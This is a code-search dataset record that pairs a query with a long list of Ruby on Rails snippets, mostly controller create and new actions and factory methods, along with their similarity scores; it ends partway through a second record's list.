[ "def create\n @unit = Unit.new(unit_params)\n authorize @unit\n begin\n ActiveRecord::Base.transaction do\n @unit.save!\n end\n rescue => e\n render partial: \"shared/validation_messages\",\n locals: { object: @unit.errors.any? ? @unit : e },\n status: :bad_request\n else\n RefreshOpensearchJob.perform_later\n toast!(title: \"Unit created\",\n message: \"The unit \\\"#{@unit.title}\\\" has been created.\")\n render \"shared/reload\"\n end\n end", "def new\n # build a 'temporary' post which is written to DB later (create-method)\n @unit = Unit.new\n end", "def unit_of_work\n Thread.current[:unit_of_work] || NoUnitOfWork\n end", "def create\n # I was not able to get this working. I suspected a change may have occurred in the API that hasn't been published to docs.\n # Used https://www.hurl.it/ to test requests to the API. Was getting a success response, but\n # never saw the newly created unit in either my SDK or in the stage environment. Could be in the DB but missing an attribute/flag that allows\n # association to the property and/or allows for display.\n puts 'test1'\n #@unit = Unit.new(params)\n puts 'XYZ'\n puts params[:name]\n puts 'ABC'\n end", "def create\n @unit = Unit.new(unit_params)\n @unit.organization = current_organization\n respond_to do |format|\n if @unit.save\n format.html { redirect_to units_url, notice: \"#{t(:unit)} #{t(:was_succfully_created)}\" }\n else\n flash.now[:danger] = \"#{t(:failed_to_create)} #{t(:unit)}\"\n format.html { render action: 'new' }\n end\n end\n end", "def with_unit_of_work(unit_of_work = UnitOfWork.new, autosave = true)\n old_unit_of_work = Thread.current[:unit_of_work]\n new_unit_of_work = Thread.current[:unit_of_work] = unit_of_work\n begin\n result = yield\n new_unit_of_work.execute_work! if autosave\n ensure\n Thread.current[:unit_of_work] = old_unit_of_work\n end\n\n result\n end", "def create_unit(unit_id, team, unit_type, unit_characteristics)\n unit = case unit_type\n when 'UNIT'\n Minion.new(self, unit_id, team, unit_characteristics)\n when 'HERO'\n Hero.new(self, unit_id, team, unit_characteristics)\n when 'TOWER'\n Tower.new(self, unit_id, team, unit_characteristics)\n when 'GROOT'\n Mercenary.new(self, unit_id, team, unit_characteristics)\n end\n\n if unit.type == :mercenary\n populate_neutral_team(unit)\n else\n @teams[unit.team].populate(unit)\n end\n end", "def create_unit(unit_id, team, unit_type, unit_characteristics)\n unit = case unit_type\n when 'UNIT'\n Minion.new(self, unit_id, team, unit_characteristics)\n when 'HERO'\n Hero.new(self, unit_id, team, unit_characteristics)\n when 'TOWER'\n Tower.new(self, unit_id, team, unit_characteristics)\n when 'GROOT'\n Mercenary.new(self, unit_id, team, unit_characteristics)\n end\n\n if unit.type == :mercenary\n populate_neutral_team(unit)\n else\n @teams[unit.team].populate(unit)\n end\n end", "def create\n attrs = create_attributes\n @object = klass.new\n object.reindex_extent = Hyrax::Adapters::NestingIndexAdapter::LIMITED_REINDEX\n run_callbacks :save do\n run_callbacks :create do\n klass == Collection ? create_collection(attrs) : work_actor.create(environment(attrs))\n end\n end\n log_created(object)\n end", "def new\n @unit_of_measure = UnitOfMeasure.new\n end", "def new_without_produce\n @work = Work.new\n end", "def create_object\n sut.send(:new)\n end", "def create!(*args, &block)\n instance = new(*args, &block)\n instance.create!\n instance\n end", "def create\n @unit = Unit.new(params[:unit])\n\n respond_to do |format|\n if @unit.save\n format.html { redirect_to @unit, notice: 'Unit was successfully created.' }\n format.json { render json: @unit, status: :created, location: @unit }\n else\n format.html { render action: \"new\" }\n format.json { render json: @unit.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @unit = Unit.new(params[:unit])\n\n respond_to do |format|\n if @unit.save\n format.html { redirect_to @unit, notice: 'Unit was successfully created.' }\n format.json { render json: @unit, status: :created, location: @unit }\n else\n format.html { render action: \"new\" }\n format.json { render json: @unit.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n authorize Unit\n @unit = Unit.new(unit_params)\n\n if @unit.save\n render status: :created\n else\n render json: {errors: @unit.errors}, status: :unprocessable_entity\n end\n end", "def new\n @work = Work.new\n end", "def create\n @unit = Unit.new(unit_params)\n # write unit to database\n if @unit.save\n redirect_to project_subsystem_path(:project_id => @unit.subsystem.project.id, :id => @unit.subsystem.id),\n :notice => 'Teilanlage erfolgreich erstellt.'\n else\n render 'new'\n end\n end", "def create\n # @unit = Unit.new(params[:unit])\n @unit = current_user.units.build(params[:unit])\n\n respond_to do |format|\n if @unit.save\n # format.html { redirect_to @unit, notice: 'Unit was successfully created.' }\n format.html { redirect_to units_path, notice: 'Pomyślnie utworzono jednostkę.' }\n format.json { render json: @unit, status: :created, location: @unit }\n else\n # format.html { render action: \"new\" }\n format.html { redirect_to units_path, :flash => { :error => 'Nie udało się utworzyć jednostki' } }\n format.json { render json: @unit.errors, status: :unprocessable_entity }\n end\n end\n end", "def unit(name)\n Unit.new(name, self)\n end", "def create\n @org_unit = OrgUnit.new(org_unit_params)\n\n respond_to do |format|\n if @org_unit.save\n format.html { redirect_to @org_unit, notice: 'Org unit was successfully created.' }\n format.json { render :show, status: :created, location: @org_unit }\n else\n format.html { render :new }\n format.json { render json: @org_unit.errors, status: :unprocessable_entity }\n end\n end\n end", "def find_or_create_household_unit\n if household_units.blank?\n hu = HouseholdUnit.create!\n HouseholdPersonLink.create!(:person => self, :household_unit => hu, :hh_rank_code => 1)\n else\n hu = household_units.first\n end\n return hu\n end", "def create\n @workout_unit = WorkoutUnit.new(workout_unit_params)\n @workout_unit.user_id = current_user.id\n respond_to do |format|\n if @workout_unit.save\n format.html { redirect_to @workout_unit, notice: 'Workout unit was successfully created.' }\n format.json { \n render :json => @workout_unit.as_json(:include => :workout_unit_type), action: 'show', status: :created, location: @workout_unit \n }\n else\n format.html { render action: 'new' }\n format.json { render json: @workout_unit.errors, status: :unprocessable_entity }\n end\n end\n end", "def createUnit _obj, _args\n \"_obj createUnit _args;\" \n end", "def create()\n instance = create_instance()\n set_instance_properties(instance)\n create_instance_children(instance)\n return instance\n end", "def fetch_work_unit\n keep_trying_to \"fetch a new work unit\" do\n unit_json = @server['/work'].post(base_params)\n setup_work_unit(unit_json)\n end\n end", "def create!(attributes = {})\n object = klass.new(attributes)\n object.save!\n object\n end", "def create(work)\n @work = work\n @method = :create\n end", "def create(data = {})\n object = self.new(data)\n object.save\n object\n end", "def create(hash={})\n model = self.new(hash)\n model.save\n model\n end", "def create(data={})\n object = self.new(data)\n object.save\n end", "def create(attributes = {}, &block)\n new(attributes, &block).tap { |record| record.save }\n end", "def create(attributes = nil)\n object = new(attributes)\n object.save\n object\n end", "def create\n authorize Unit\n\n if creating_new_unit? #unit doesn't exist\n @unit = Unit.new(unit_params)\n @user_building = UserBuilding.find_or_generate(params[:unit][:user_building_id], params[:user_building][:address])\n # Find_or_generate method defined on User Building model\n respond_to do |format|\n if @unit.save && @user_building.valid?\n current_user.update(unit: @unit)\n @unit.update(user_building: @user_building)\n format.html { redirect_to @unit, notice: 'Unit was successfully created.' }\n format.json { render :show, status: :created, location: @unit }\n else\n format.html { render :new, notice: @unit.errors.full_messages.join(', ') }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n else #unit exists\n if params[:unit][:unit_number]\n @unit = Unit.find_by(unit_number: params[:unit][:unit_number],user_building_id: params[:unit][:user_building_id] )\n else\n @unit = Unit.find_by(user_building_id: params[:unit][:user_building_id])\n end\n current_user.unit_id = @unit.id\n respond_to do |format|\n if current_user.save\n format.html { redirect_to @unit, notice: 'Welcome to the unit!' }\n format.json { render :show, status: :ok, location: @unit }\n else\n format.html { redirect_to users_me_path(current_user), notice: \"Can't move in.\" }\n format.json { render json: @unit.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def create(params = {})\n model = new(params)\n model.save\n model\n end", "def new\r\n @uom = Uom.new\r\n\r\n end", "def create!(*args)\n instance = self.new(*args)\n instance.save!\n return instance\n end", "def set_workout_unit\n @workout_unit = WorkoutUnit.find(params[:id])\n end", "def create!(*args, &block)\n @model_class.create!(*args, &block)\n end", "def create!(*args)\n new(*args).tap do |o|\n yield o if block_given?\n o.save!\n end\n end", "def create\n @employing_unit = EmployingUnit.new(params[:employing_unit])\n respond_to do |format|\n if @employing_unit.save\n format.html { redirect_to @employing_unit, notice: '招聘单位创建成功。' }\n format.json { render json: @employing_unit, status: :created, location: @employing_unit }\n else\n format.html { render action: \"new\" }\n format.json { render json: @employing_unit.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @unit = Unit.new\n\n @unit.libe = :seigneur\n @unit.weapon = '-'\n @unit.amount = 1\n @unit.points = 0\n\n set_units_rules_data\n\n @edition_disabled = false\n\n set_hash_for_vue(false )\n end", "def create(attributes = { })\n inst = self.new(attributes)\n inst.save\n\n inst\n end", "def create_new_unit(xml_unit, new_version)\n unit_name = xml_unit.attribute('name')\n\n new_version.units.new(\n :name => unit_name\n )\n end", "def create\n @unit_of_measure = UnitOfMeasure.create(params[:unit_of_measure])\n get_data\n end", "def create_without_commit\n @created_at = @updated_at = Time.now\n @persisted = true if !class_committed?\n self.class.store << self\n end", "def create_project_unit\n @unit = Unit.new(unit_params.merge(company_id: current_company.id))\n @unit.project_required = true\n @unit.project_id = project.id if project\n if @unit.save\n flash[:success] = 'Item added successfully!'\n redirect_to project\n else\n @unit_categories = unit_categories\n @locations = locations\n flash[:danger] = @unit.errors.full_messages\n render 'new_project_unit'\n end\n end", "def new\n @wallet = get_wallet\n @transaction = Transaction.new\n end", "def create\n @extent_unit = ExtentUnit.new(params[:extent_unit])\n\n respond_to do |format|\n if @extent_unit.save\n format.html { redirect_to @extent_unit, notice: 'Extent unit was successfully created.' }\n format.json { render json: @extent_unit, status: :created, location: @extent_unit }\n else\n format.html { render action: \"new\" }\n format.json { render json: @extent_unit.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(attributes={}, &block) # TODO: testme\n model = self.new(attributes)\n yield(model) if block_given?\n model.save\n model\n end", "def new_entity(options, &b)\n @entity_class.new(self, options, &b)\n end", "def create(object)\n object.instance_variable_set('@__attributes', {})\n object.instance_variable_set('@__references', {})\n object.instance_variable_set('@__collections', {})\n object.instance_variable_set('@__mapping', @mapping)\n object.instance_variable_set('@__factory', self)\n\n object.extend(Identity)\n object.extend(Entity)\n object.extend(Validations)\n end", "def create\n @businessunit = Businessunit.new(params[:businessunit])\n\n respond_to do |format|\n if @businessunit.save\n format.html { redirect_to(@businessunit, :notice => 'Businessunit was successfully created.') }\n format.xml { render :xml => @businessunit, :status => :created, :location => @businessunit }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @businessunit.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_new_work(params)\n @log.info 'Configuring work attributes'\n\n # set depositor\n depositor = User.find_by_user_key(@config['depositor'])\n raise 'User ' + @config['depositor'] + ' not found.' if depositor.nil?\n\n # set noid\n id = Noid::Rails::Service.new.minter.mint\n\n # set resource type\n resource_type = 'Thesis'\n unless params['resource_type'].first.nil?\n resource_type = params['resource_type'].first\n end\n\n # set visibility\n if params.key?('embargo_release_date')\n params['visibility_after_embargo'] = 'open'\n params['visibility_during_embargo'] = 'authenticated'\n else\n params['visibility'] = 'open'\n end\n\n # set admin set to deposit into\n unless @config['admin_set_id'].nil?\n params['admin_set_id'] = @config['admin_set_id']\n end\n\n # set campus\n params['campus'] = [@config['campus']]\n\n @log.info 'Creating a new ' + resource_type + ' with id:' + id\n\n if @config['type_to_work_map'][resource_type].nil?\n raise 'No mapping for ' + resource_type\n end\n\n model_name = @config['type_to_work_map'][resource_type]\n\n # student research but with a label that is otherwise Publication\n if params['degree_level'] || params['advisor']\n model_name = 'Thesis'\n end\n\n # create the actual work based on the mapped resource type\n model = Kernel.const_get(model_name)\n work = model.new(id: id)\n work.update(params)\n work.apply_depositor_metadata(depositor.user_key)\n work.save\n\n work\nend", "def initialize(unit)\n\n @unit = unit\n\n @models = {}\n @archive = @unit.conf['sto_archive']\n @mutex = @unit.conf['sto_sync'] ? Mutex.new : nil\n\n connect\n end", "def new\n @healthcareunit = Healthcareunit.new\n end", "def create(*args)\n instance = self.new(*args)\n instance.save\n return instance\n end", "def create\n @result_unit = ResultUnit.new(result_unit_params)\n @result_unit.organization = current_organization\n respond_to do |format|\n if @result_unit.save\n msg = \"#{t(:result_unit)} #{t(:was_successfully_created)}\"\n format.html { redirect_to result_units_url, notice: msg }\n else\n flash.now[:danger] = \"#{t(:failed_to_create)} #{t(:result_unit)}\"\n format.html { render action: 'new' }\n end\n end\n end", "def new(*args, &block)\n object = mapper.new_object(*args, &block)\n track(object)\n object\n end", "def create\n @electoral_unit = ElectoralUnit.new(params[:electoral_unit])\n\n respond_to do |format|\n if @electoral_unit.save\n format.html { redirect_to @electoral_unit, notice: 'Electoral unit was successfully created.' }\n format.json { render json: @electoral_unit, status: :created, location: @electoral_unit }\n else\n format.html { render action: \"new\" }\n format.json { render json: @electoral_unit.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @functional_unit = FunctionalUnit.new(params[:functional_unit])\n\n respond_to do |format|\n if @functional_unit.save\n format.html { redirect_to(@functional_unit, :notice => 'Functional unit was successfully created.') }\n format.xml { render :xml => @functional_unit, :status => :created, :location => @functional_unit }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @functional_unit.errors, :status => :unprocessable_entity }\n end\n end\n end", "def tx_commitment\n Commitment.create(tx_bf, tx)\n end", "def create_world\n my_world = World.create!(:world_template => WorldTemplate.first, :user => self)\n end", "def new\n\t\t# create a new object for the yoyo with no data inside of it,\n\t\t# so that rails can figure out what type of data the yoyo will have\n\t\t@yoyo = Yoyo.new\t# we write `new` here to make the object in memory, but NOT save it into the database\n\t\t\t\t\t\t\t# we're just making an ActiveRecord object for our model,\n\t\t\t\t\t\t\t# NOT saving an object to our database\n\tend", "def new_transaction(res)\n transaction = Transaction.new\n transaction.new(res)\n end", "def create(model={})\n create_new_model(model, :create)\n end", "def create(attributes = {})\n new(attributes).save\n end", "def create(attributes = {})\n returning(self.new(attributes)) { |res| res.save }\n end", "def create_work(xml_metadata)\n parsed_data = Ingest::Services::MetadataParser.new(xml_metadata,\n @depositor,\n @collection,\n @config).parse\n work_attributes = parsed_data[:work_attributes]\n # Create new work record and save\n new_work = work_record(work_attributes)\n new_work.save!\n\n new_work\n\n end", "def create_finance_transaction\n\t\tfinance_transaction = FinanceTransaction.new\n\t\tfinance_transaction.payee = self.store\n\t\tfinance_transaction.receiver = User.current\n\t\tfinance_transaction.finance = self\n\t\tfinance_transaction.amount = self.paid_amount\n\t\tfinance_transaction.transaction_date = self.selling_date\n\t\tfinance_transaction.save\n\tend", "def create\n @timeunit = Timeunit.new(params[:timeunit])\n\n respond_to do |format|\n if @timeunit.save\n format.html { redirect_to(@timeunit, :notice => 'Timeunit was successfully created.') }\n format.xml { render :xml => @timeunit, :status => :created, :location => @timeunit }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @timeunit.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @utest = @project.unit_tests.new(params[:unit_test])\n create_project_association @utest, 'Unit test was successfully created.'\n end", "def create(*args, &block)\n session = new(*args)\n session.save(&block)\n end", "def construct_for( world )\n\t\tentity = world.create_blank_entity\n\t\tself.components.each do |component_type, args|\n\t\t\tcomponent = component_type.new( *args )\n\t\t\tworld.add_component_to( entity, component )\n\t\tend\n\n\t\treturn entity\n\tend", "def create\n @unit = Unit.new(params[:unit])\n if session[:resident_id]\n @unit.resident_id = session[:resident_id]\n session[:resident_id] = nil\n end\n\n respond_to do |format|\n if @unit.save\n format.html { redirect_to @unit, notice: 'Unit was successfully created.' }\n format.json { render json: @unit, status: :created, location: @unit }\n else\n format.html { render action: \"new\" }\n format.json { render json: @unit.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(attributes = {})\n new(attributes).create\n end", "def create\n @w_transaction = WTransaction.new(w_transaction_params)\n\n respond_to do |format|\n if @w_transaction.save\n format.html { redirect_to @w_transaction, notice: 'W transaction was successfully created.' }\n format.json { render :show, status: :created, location: @w_transaction }\n else\n format.html { render :new }\n format.json { render json: @w_transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def initialize(fighter, bomber)\n create(fighter, bomber)\n end", "def new\n @transaction = @transactions.build\n end", "def create data_object_class, opts={}\n data_object = make data_object_class, opts\n data_object.create\n data_object\n end", "def new\n @witness = Witness.new\n end", "def create\n @handbook_structual_unit = HandbookStructualUnit.new(params[:handbook_structual_unit])\n\n respond_to do |format|\n if @handbook_structual_unit.save\n format.html { redirect_to @handbook_structual_unit, notice: 'Handbook structual unit was successfully created.' }\n format.json { render json: @handbook_structual_unit, status: :created, location: @handbook_structual_unit }\n else\n format.html { render action: \"new\" }\n format.json { render json: @handbook_structual_unit.errors, status: :unprocessable_entity }\n end\n end\n end", "def create!(opts = {})\n instance = new(opts)\n instance.save!\n instance\n end", "def new_model(name = :foo, &block)\n table_name = \"#{name}_#{rand(1000000)}\"\n @table_names ||= []\n @table_names << table_name\n\n model = Class.new do\n (class << self; self; end).class_eval do\n define_method(:name) { \"MongoidTest::#{name.to_s.capitalize}\" }\n define_method(:to_s) { self.name }\n end\n end\n\n model.class_eval do\n include Mongoid::Document\n store_in collection: table_name\n\n field :state, :type => String\n end\n model.class_eval(&block) if block_given?\n model\n end", "def create(*args, &block)\n complete_args = @partial_args + args\n @klass.new(*complete_args, &block)\n end", "def setup_work_unit(unit_json)\n return false unless unit_json\n unit = JSON.parse(unit_json)\n @start_time = Time.now\n @action_name, @input, @options, @status = unit['action'], unit['input'], unit['options'], unit['status']\n @options['job_id'] = unit['job_id']\n @options['work_unit_id'] = unit['id']\n @options['attempts'] ||= unit['attempts']\n log \"fetched #{display_work_unit}\"\n return true\n end", "def create\n\t\t@work = Work.new(params[:work])\n\n\t\trespond_to do |format|\n\t\t\tif @work.save\n\t\t\t\tformat.html { redirect_to @work, notice: 'Work was successfully created.' }\n\t\t\t\tformat.json { render json: @work, status: :created, location: @work }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @work.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create\n @workunit = Workunit.new(params[:workunit])\n\n respond_to do |format|\n if @workunit.save\n flash[:notice] = 'Workunit was successfully created.'\n format.html { redirect_to(@workunit) }\n format.xml { render :xml => @workunit, :status => :created, :location => @workunit }\n format.fxml { render :fxml => @workunit }\n format.amf { render :amf => @workunit }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @workunit.errors, :status => :unprocessable_entity }\n format.fxml { render :fxml => @workunit.errors }\n format.amf { render :amf => @workunit.errors }\n end\n end\n end", "def new\n @title = \"New Organic Unit\"\n @organic_unit = OrganicUnit.new\n @units = OrganicUnit.all\n\n end", "def create(attribs={})\n obj = new\n obj.send :create, attribs\n obj\n end", "def create\n @quotation_unit = QuotationUnit.new(quotation_unit_params)\n\n respond_to do |format|\n if @quotation_unit.save\n format.html { redirect_to @quotation_unit, notice: 'Quotation unit was successfully created.' }\n format.json { render :show, status: :created, location: @quotation_unit }\n else\n format.html { render :new }\n format.json { render json: @quotation_unit.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(attributes = {})\n record = build(attributes)\n record.save\n record\n end", "def create\n @teaching_unit = TeachingUnit.new(teaching_unit_params)\n\n respond_to do |format|\n if @teaching_unit.save\n format.html { redirect_to @teaching_unit, notice: 'Teaching unit was successfully created.' }\n format.json { render action: 'show', status: :created, location: @teaching_unit }\n else\n format.html { render action: 'new' }\n format.json { render json: @teaching_unit.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(params = {})\n record = new(params)\n record.save && record\n end", "def create\n ActiveRecord::Base.transaction do\n @event_configuration = EventConfiguration.new(event_configuration_params)\n if @event_configuration.save\n # if params[:event_configuration][:organisation_unit_ids].present?\n # params[:event_configuration][:organisation_unit_ids].each do |ou_id|\n # EventConfigurationOrganisationUnit.create!(event_configuration_id: @event_configuration.id, organisation_unit_id: ou_id)\n # end\n # end\n render json: @event_configuration.to_json, status: :created\n else\n puts '=> @event_configuration.save failed!'\n raise @event_configuration.errors\n end\n rescue => errors\n render json: errors, status: :unprocessable_entity\n end\n\n end", "def create(opts = {})\n instance = new(opts)\n instance.save\n instance\n end", "def create_custom_org_unit(org_unit_data)\n # Requires the type to have the correct parent. This will work fine in this\n # sample, as the department (101) can have the parent Organiation (6606)\n payload = {\n 'Type' => 101, # Number:D2LID\n 'Name' => 'custom_ou_name', # String\n 'Code' => 'custom_ou_code', # String\n 'Parents' => [6606], # Number:D2LID\n }.merge!(org_unit_data)\n check_org_unit_data_validity(payload)\n path = \"/d2l/api/lp/#{$lp_ver}/orgstructure/\"\n # Requires: OrgUnitCreateData JSON block\n _post(path, payload)\n # returns: OrgUnit JSON data block\nend", "def new_on_account_unit\n new_on(AccountUnit)\n end", "def create\n @base_unit = BaseUnit.new(base_unit_params)\n\n respond_to do |format|\n if @base_unit.save\n format.html { redirect_to @base_unit, notice: 'Tray type was successfully created.' }\n format.json { render action: 'show', status: :created, location: @base_unit }\n else\n format.html { render action: 'new' }\n format.json { render json: @base_unit.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @breadcrumb = 'create'\n @work_order_type = WorkOrderType.new(params[:work_order_type])\n @work_order_type.created_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @work_order_type.save\n format.html { redirect_to @work_order_type, notice: crud_notice('created', @work_order_type) }\n format.json { render json: @work_order_type, status: :created, location: @work_order_type }\n else\n @woareas = work_order_areas_dropdown\n @charge_accounts = charge_accounts_dropdown\n @projects = projects_dropdown\n @accounts = project_charge_accounts_dropdown(nil)\n format.html { render action: \"new\" }\n format.json { render json: @work_order_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_data_set_outside_tx(options = {})\n Rails.logger.info '** Creating data set outside transaction **'\n puts \"#{Time.now} ** Creating data set outside transaction **\"\n Thread.new do\n ActiveRecord::Base.connection_pool.with_connection do\n SeedSupport.setup\n create_data_set options\n end\n end.join\n end" ]
[ "0.58053595", "0.5518828", "0.5473824", "0.53229034", "0.5308944", "0.52999717", "0.50668705", "0.50668705", "0.5065667", "0.50531423", "0.50526154", "0.5047939", "0.49867436", "0.49728087", "0.49728087", "0.49691248", "0.49515408", "0.49030033", "0.4902051", "0.48997742", "0.48944387", "0.48787645", "0.48441038", "0.4843503", "0.4834852", "0.4834026", "0.48297173", "0.48154575", "0.479843", "0.47703862", "0.47692707", "0.4754769", "0.475315", "0.47245908", "0.47237155", "0.47010824", "0.4692626", "0.46920335", "0.46773836", "0.46389097", "0.4627989", "0.4622881", "0.46162668", "0.46151856", "0.46150368", "0.45973417", "0.45891422", "0.4588048", "0.45873225", "0.4573627", "0.4572973", "0.456553", "0.45633292", "0.45484638", "0.45322824", "0.45249176", "0.450459", "0.44932222", "0.44711733", "0.44651946", "0.4464654", "0.44620565", "0.44596294", "0.44592363", "0.4444596", "0.44440168", "0.4430615", "0.44298828", "0.44291553", "0.44276243", "0.44232413", "0.44218245", "0.4421304", "0.44129446", "0.44087154", "0.4406119", "0.44038045", "0.44036075", "0.43856397", "0.43724963", "0.4371737", "0.436576", "0.43643543", "0.435823", "0.43567646", "0.43560353", "0.434838", "0.434837", "0.43339685", "0.43305123", "0.43278483", "0.43273622", "0.43266353", "0.43212306", "0.4318293", "0.4317298", "0.43099648", "0.4309368", "0.43086532", "0.4308273", "0.43071952" ]
0.0
-1
Public: Add additional meta data to be sent along with any save reciepts on the message bus for the duration of the unit of work.
def add_meta_data(meta_hash) meta.merge! meta_hash end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def save\n if (not @queued_for_delete.empty?) and @queued_for_write.empty?\n instance_write(:meta, ActiveSupport::Base64.encode64(Marshal.dump({}))) if instance.respond_to?(:\"#{name}_meta=\")\n end\n original_save\n end", "def save_additional_data\n end", "def merge_metadata_to_send(new_metadata = {})\n @send_initial_md_mutex.synchronize do\n fail('cant change metadata after already sent') if @metadata_sent\n @metadata_to_send.merge!(new_metadata)\n end\n end", "def add_metadata(meta={})\n @local_metadata.deep_merge!(meta.dup)\n end", "def add_metadata(msg)\n return {:timestamp=>Time.now.utc.strftime('%FT%T.%3NZ'),\n :msg=>msg,\n :ip=>@ip,\n :pid=>@pid}\n end", "def store_message(email_name:, entity:, user: nil)\n self.metadata['email_name'] = email_name.to_s.truncate(80)\n self.metadata['entity_id'] = entity.id\n self.metadata['entity_type'] = entity.class.name\n self.metadata['user_id'] = user.id if user\n end", "def save(meta = {})\n dirty_events = @_dirty_events\n version = persisted_version\n\n unit_of_work.handle_save(proc do\n event_store.append_events(id, self.class.name, dirty_events, version)\n SaveReciept.new(id, self.class, dirty_events, meta)\n end)\n\n @_dirty_events = []\n @_aggregate.instance_variable_set(:@persisted_version, local_version)\n\n self\n end", "def add_meta(meta)\n self.meta.merge!(meta)\n self\n end", "def create_message_metadata\n content = self.create_preservation_message_metadata\n metadata = \"<metadata>#{content}</metadata>\"\n metadata\n end", "def write_metadata; end", "def add_progress_meta(key, value)\n logger.debug(\"add_progress_meta(#{key}, #{value.to_json})\")\n self.environment.send_data({:meta=>{key=>value}}.to_json)\n end", "def appendToMetadata(additionalMetadata)\n @additionalMetadata.merge!(additionalMetadata)\n end", "def appendToMetadata(additionalMetadata)\n @additionalMetadata.merge!(additionalMetadata)\n end", "def send_initial_metadata(new_metadata = {})\n @send_initial_md_mutex.synchronize do\n return if @metadata_sent\n @metadata_to_send.merge!(new_metadata)\n ActiveCall.client_invoke(@call, @metadata_to_send)\n @metadata_sent = true\n end\n end", "def add_meta_data\n kids_type = profile.kids_type\n create_meta_data(fname: kids_type.fname,fname_downcase: kids_type.fname.to_s.downcase,\n lname: kids_type.lname,lname_downcase: kids_type.lname.to_s.downcase,\n nickname: kids_type.nickname || kids_type.fname,nickname_downcase: kids_type.nickname.to_s.downcase || kids_type.fname.to_s.downcase,\n birthdate: kids_type.birthdate )\n end", "def message\n self.description = self.description + merchant_store.store_regards\n end", "def add_infos(hash)\n self.custom_attributes.merge!(hash)\n end", "def metadata\n msg['metadata']||{}\n end", "def after_sync\n super()\n Wukong::Deploy.vayacondios_client.announce(vayacondios_topic, {\n success: success?,\n step: 'prepare',\n counts: counts,\n files: files,\n }.tap { |e| e[:duration] = duration if duration })\n Wukong::Deploy.vayacondios_client.set(vayacondios_topic, \"prepare.last\", { state: (success? ? 1 : 0), time: Time.now.utc.to_i })\n end", "def save_raw_message\n if @pending_raw_message\n self.size = @pending_raw_message.bytesize\n date = Date.today\n table_name, headers_id, body_id = @database.insert_raw_message(@pending_raw_message, date)\n self.raw_table = table_name\n self.raw_headers_id = headers_id\n self.raw_body_id = body_id\n @raw = nil\n @raw_headers = nil\n @headers = nil\n @mail = nil\n @pending_raw_message = nil\n copy_attributes_from_raw_message\n @database.query(\"UPDATE `#{@database.database_name}`.`raw_message_sizes` SET size = size + #{self.size} WHERE table_name = '#{table_name}'\")\n end\n end", "def working!\n @meta[Cworked_at] = Time.now.utc\n put_meta\n end", "def set_message_attr #instrument\n if user_1.band?\n band = user_1.profile\n musician = user_2.profile\n else\n band = user_2.profile\n musician = user_1.profile\n end\n\n messages.first.set_attr band, musician #, instrument\n messages.first.set_body user_1\n end", "def set_individual_action_meta_information(args={})\n\t\t\t@title = args[:title]\n\t\t\t@meta_description = args[:description]\n\t\tend", "def prepare\n Maadi::post_message(:More, \"Model (#{@type}) is ready\")\n\n super\n end", "def add task_details\n\n #prepare payload\n now = Time.now.to_i \n defaults = {\n \"method\" => \"task.save\",\n \"id\" => UUID.generate,\n \"type\" => 0,\n \"_type\" => now,\n \"state\" => 0,\n \"_state\" => now,\n }\n\n task = defaults.merge(task_details)\n self.post [task].to_json\n end", "def additional_data=(value)\n @additional_data = value\n end", "def meta(meta_data)\n @_meta = meta_data\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def metadata\n {\n Title: 'Maestrano Monthly Invoice',\n Author: 'Maestrano',\n Subject: 'Maestrano Monthly Invoice',\n Producer: 'Maestrano',\n CreationDate: Time.now\n }\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def save_meta_data(type)\n FileUtils.mkdir_p File.dirname(meta_file_path(type))\n File.open(meta_file_path(type), 'w') { |f| f.print self[type].to_yaml }\n if Mist.commit_meta_data\n Mist.repository.add meta_file_path(type)\n Mist.repository.commit '%s meta changes to %s' % [type, table_name]\n end\n\n # we must force meta to be reloaded because otherwise it could get out of sync with filesystem\n @meta = nil\n end", "def append_info_to_payload(payload)\n super\n payload[:request_id] = request.uuid\n payload[:user_id] = current_user.id if current_user\n payload[:account_id] = current_account.cname if current_account\n end", "def custom_meta_data\n end", "def publish data, attributes = {}\n @messages << [data, attributes]\n end", "def add_meta(options)\n requires!(options, :memo)\n options[:currency_code] = self.default_currency unless self.class.supported_currencies.include?(options[:currency_code].to_s)\n @post.merge!('custom' => options[:custom],\n 'memo' => options[:memo],\n 'currencyCode' => options[:currency_code])\n end", "def save\n self.metadata[:type] = :metagenome if !metadata[:tax].nil? and\n !metadata[:tax][:ns].nil? and metadata[:tax][:ns]==\"COMMUNITY\"\n self.metadata.save\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def additional_data=(value)\n @additional_data = value\n end", "def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n @progress_message = args[:progress_message] if args.key?(:progress_message)\n 